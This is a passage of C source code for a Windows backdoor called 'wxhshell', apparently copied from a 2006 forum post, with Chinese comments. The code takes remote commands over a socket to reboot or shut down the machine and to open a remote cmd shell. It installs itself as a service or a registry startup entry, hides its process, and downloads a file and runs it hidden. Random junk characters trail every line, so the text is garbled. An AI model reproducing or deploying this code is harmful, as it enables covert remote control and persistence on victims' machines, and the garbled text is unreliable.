  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h!tpi`8\z  
  else 2EgvS!"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , ['}9:f9  
  } FNGa4  
  else { @$slGY  
&5 7c !)  
    switch(cmd[0]) { aEf3hB*~  
  fW = N  
  // 帮助 p22AH%  
  case '?': { x,n l PU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LhG\)>Y%  
    break; {S0-y  
  } av'DyNW\  
  // 安装 ~[=<O s  
  case 'i': { S1|5+PPs  
    if(Install()) $f@YQN=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?N4FB*x  
    else zJXK:/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2poo@]M/  
    break; 8Z !%rS  
    } 81nD:]7  
  // 卸载 )\])?q61  
  case 'r': { j_C"O,WS  
    if(Uninstall()) Nuqmp7C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?}`- ?JB1  
    else c0wLc,)G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !'_7MM  
    break; !B`z|#  
    } 7U7!'xU  
  // 显示 wxhshell 所在路径 8#!g;`~ D  
  case 'p': { A%#M#hD/  
    char svExeFile[MAX_PATH]; eEXNEgbn  
    strcpy(svExeFile,"\n\r"); cB&_':F  
      strcat(svExeFile,ExeFile); _l{~O  
        send(wsh,svExeFile,strlen(svExeFile),0); ?I]AE&4'  
    break; ^cZ< .d2  
    } ##mZ97>$  
  // 重启 RKLE@h7[?  
  case 'b': { KHx2$*E_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P'wo+Tn*  
    if(Boot(REBOOT)) 0"7+;(\1Rk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2hV -h  
    else { ?|,:;^2l1  
    closesocket(wsh); H+*3e&  
    ExitThread(0); :E}y Pcw  
    } F'MX9P  
    break; 4prJ!k  
    } Y. J!]|  
  // 关机 7V%P  
  case 'd': { -sJ1q^;f@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !aSj1 2J  
    if(Boot(SHUTDOWN)) Oj-\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Uq"zq  
    else { pPa]@ z~O  
    closesocket(wsh); .B~}hjOZK  
    ExitThread(0); B*_K}5UO  
    } gaN/ kp  
    break; uD/@d'd_4L  
    } z5gVP8*z5  
  // 获取shell UvGxA[~2+  
  case 's': { 9mxg$P4  
    CmdShell(wsh); ]Y?Y$>  
    closesocket(wsh); (:8a6=xQ  
    ExitThread(0); '$Z)2fn7  
    break; N.mRay,  
  } 0{vT`e'  
  // 退出 +a39 !j 1_  
  case 'x': { gcnX^[`S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); * WV=Xp  
    CloseIt(wsh); .xqi7vVHZ  
    break; NCh-BinK@  
    } ;8oe-xS\+  
  // 离开 X$KTsG*  
  case 'q': { t+ w{uwEY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *rTg>)  
    closesocket(wsh); u<8b5An;  
    WSACleanup(); s,r|p@^  
    exit(1); "gy&eR>  
    break; t Cb34Wpf  
        } (rFiHv5  
  }  <O7!(  
  } c2 NB@T9'v  
=/K)hI!u  
  // 提示信息 WzstO}?P(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); inh:b .,B  
} S?CT6moXA  
  } Iuz_u2"C  
~*bfS}F8I  
  return; ^R:&c;&,  
} =Rx4ZqTI|  
O:#YLmbCN  
// shell模块句柄 rJGh3%  
int CmdShell(SOCKET sock) c#TY3Z|  
{ PS" rXaY  
STARTUPINFO si; ?o[h$7` o6  
ZeroMemory(&si,sizeof(si)); mt+i0PIfj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e_e\Ie/pDc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .;g kV-]  
PROCESS_INFORMATION ProcessInfo; {ol7*%u  
char cmdline[]="cmd"; s .p> ?U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7LU^Xm8  
  return 0; $M)SsD~  
} !#pc@(rE  
;@=3 @v  
// 自身启动模式 pMT7/y-  
int StartFromService(void) ~bkO8tn  
{ k 6M D3c  
typedef struct kJmwR  
{ lIS`_H}  
  DWORD ExitStatus; zHA::6OgPN  
  DWORD PebBaseAddress; N `:MF 9  
  DWORD AffinityMask; Yw#fQFm  
  DWORD BasePriority; 9vP;i= fr  
  ULONG UniqueProcessId; @]q^O MLY  
  ULONG InheritedFromUniqueProcessId; Bc.de&Bxz_  
}   PROCESS_BASIC_INFORMATION; K?J_cnJ`  
ke8g tbm  
PROCNTQSIP NtQueryInformationProcess; -XXsob}/8  
.KKecdd?=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S[!6Lw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Dx1(}D  
x)=l4A\  
  HANDLE             hProcess; Eo2`Vr9g  
  PROCESS_BASIC_INFORMATION pbi; rwJ U;wy  
~<!j]@.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e1a\ --  
  if(NULL == hInst ) return 0; O6NH  
w^Y/J4 I0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <L8|Wz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EtzSaB*|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yVnG+R&  
!*Is0``  
  if (!NtQueryInformationProcess) return 0; 7(]F+\A3  
@Pk<3.S0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l,hOnpm9  
  if(!hProcess) return 0; QP.Lq }  
|hxiARr4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1s(T#jh  
g ptf*^s  
  CloseHandle(hProcess); xjr4')h  
:+DrV\)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SI~jM:S}  
if(hProcess==NULL) return 0; jbipNgxkr  
vN^.MR+<  
HMODULE hMod; V3ht:>c9qs  
char procName[255]; ~D3 S01ecM  
unsigned long cbNeeded; s>o#Ob@4'  
)KE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &*>.u8:r  
^O*-|ecA  
  CloseHandle(hProcess); tnobqL'  
iGSJ\  
if(strstr(procName,"services")) return 1; // 以服务启动 dscah0T  
FA*$ dwp  
  return 0; // 注册表启动 P 9yMf~  
} %Zk6K!MY#  
OJpfiZ@Q_  
// 主模块 [TOo 9W  
int StartWxhshell(LPSTR lpCmdLine) chL1r9V)v  
{ pp"#pl  
  SOCKET wsl; ]uox ^HC  
BOOL val=TRUE; pZ'q_Oux  
  int port=0; \"(?k>]E  
  struct sockaddr_in door; iGhvQmd(/*  
e:Y+-C5  
  if(wscfg.ws_autoins) Install(); vQLYWRXiA  
uX1;  
port=atoi(lpCmdLine); Oe;#q  
w"?Q0bhV9y  
if(port<=0) port=wscfg.ws_port; g0j)k6<6(Y  
`;Tf_6c  
  WSADATA data; ywJ [WfCY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h,R Isq;`  
J-tqEK*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IMwV9rF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~BuzI9~7P  
  door.sin_family = AF_INET; w{aGH/LN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3h:~NL  
  door.sin_port = htons(port); Cd)g8<  
0YFXF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3[u- LYW  
closesocket(wsl); 2>9\o]ac4  
return 1; F}So=Jz9h  
} ]6B9\C.2-_  
b_RO%L:"yL  
  if(listen(wsl,2) == INVALID_SOCKET) { neM.M)0  
closesocket(wsl); c`;oV-f  
return 1; ]0*aE  
} IOZw[9](+  
  Wxhshell(wsl);  q6F1Rt  
  WSACleanup(); =!q]0#  
F2}Fuupb.  
return 0; ybiTWM  
<VhmtT%7  
} AuQ|CXG-\  
4Y?2u  
// 以NT服务方式启动 R 9` [C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zN!W_2W*  
{ [@lK[7 u  
DWORD   status = 0; 6:G&x<{  
  DWORD   specificError = 0xfffffff; tV(iC~/  
ru 6`Z+p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Gt#r$.]W?o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HNS^:X R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *fc8M(]&d  
  serviceStatus.dwWin32ExitCode     = 0; ~|Vq v{  
  serviceStatus.dwServiceSpecificExitCode = 0; V.:,Q  
  serviceStatus.dwCheckPoint       = 0; ;)FvTm'"\.  
  serviceStatus.dwWaitHint       = 0; s 1M-(d Q  
8<; .  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y[$UeE"0  
  if (hServiceStatusHandle==0) return; Bbs1U  
0]7jb_n1  
status = GetLastError(); 6Sd:5eTEQ  
  if (status!=NO_ERROR) M,JwoKyg  
{ }PK4 KRn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P1[.[q/-e  
    serviceStatus.dwCheckPoint       = 0; a?+C]u?_D  
    serviceStatus.dwWaitHint       = 0; 3g!Z[SZ  
    serviceStatus.dwWin32ExitCode     = status; 4A@HR  
    serviceStatus.dwServiceSpecificExitCode = specificError; Wd7*7']  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8J'5%$3u  
    return; =? !FO'zt"  
  } (E0WZ $f}  
)q_,V"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dY}5Kmt  
  serviceStatus.dwCheckPoint       = 0; V]--d33/a  
  serviceStatus.dwWaitHint       = 0; \2 DED  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ne+Rs+~4  
} #d %v=.1  
OE(y$+L3_I  
// 处理NT服务事件,比如:启动、停止 D Z*c.|W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Vwp>:'Pu  
{ y/S3ZJY  
switch(fdwControl) ;g?PK5rB(  
{ %TFsk  
case SERVICE_CONTROL_STOP: F.y_H#h  
  serviceStatus.dwWin32ExitCode = 0; Jf2JGTcm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D,.`mX  
  serviceStatus.dwCheckPoint   = 0; #WG}"[ ,c  
  serviceStatus.dwWaitHint     = 0; >oq\`E  
  { h<?Px"& J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k:?)0Uh%^  
  } QaO9-:]eN  
  return; t+A*Ws*o  
case SERVICE_CONTROL_PAUSE: ^ulgZ2BQ|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /95z1e  
  break; (enr{1  
case SERVICE_CONTROL_CONTINUE: bMc[0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z#u{th  
  break; q'S[TFMNE  
case SERVICE_CONTROL_INTERROGATE: +I uu8t  
  break; }OIe!  
}; ?cWwt~N9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tF,`v{-up  
} -_9*BvS]R  
3L==p`   
// 标准应用程序主函数  cRK Lyb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8OOAPp$%|  
{ s2,6aW C  
D6lzc f  
// 获取操作系统版本 !)oQ9,N  
OsIsNt=GetOsVer(); ^"<Bk<b(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DC).p'0VL  
2<UC^vZ  
  // 从命令行安装 9 D.wW  
  if(strpbrk(lpCmdLine,"iI")) Install(); jjH2!R]^>  
1ik.|T<f0  
  // 下载执行文件 &I ~'2mpk  
if(wscfg.ws_downexe) { {=?[:5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 38&K"  
  WinExec(wscfg.ws_filenam,SW_HIDE); #7H0I8  
} }0<2n~3P  
=C$"e4%Be  
if(!OsIsNt) { pvsY 0a@4  
// 如果时win9x,隐藏进程并且设置为注册表启动 L %acsb}  
HideProc(); XPrnQJ  
StartWxhshell(lpCmdLine); `&x>2FJ  
} el$@^Wy&$  
else Z L0Vx6Ph  
  if(StartFromService()) 38-kl,Vw  
  // 以服务方式启动 @>VX]Qe^X  
  StartServiceCtrlDispatcher(DispatchTable); 5I[:.o0  
else }#.OJub  
  // 普通方式启动 MjQ>& fUK  
  StartWxhshell(lpCmdLine); 6miXaAA8  
xr.;B`T0\'  
return 0; :KC]1_zqR  
}
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只看该作者 1 发表于: 2006-10-10
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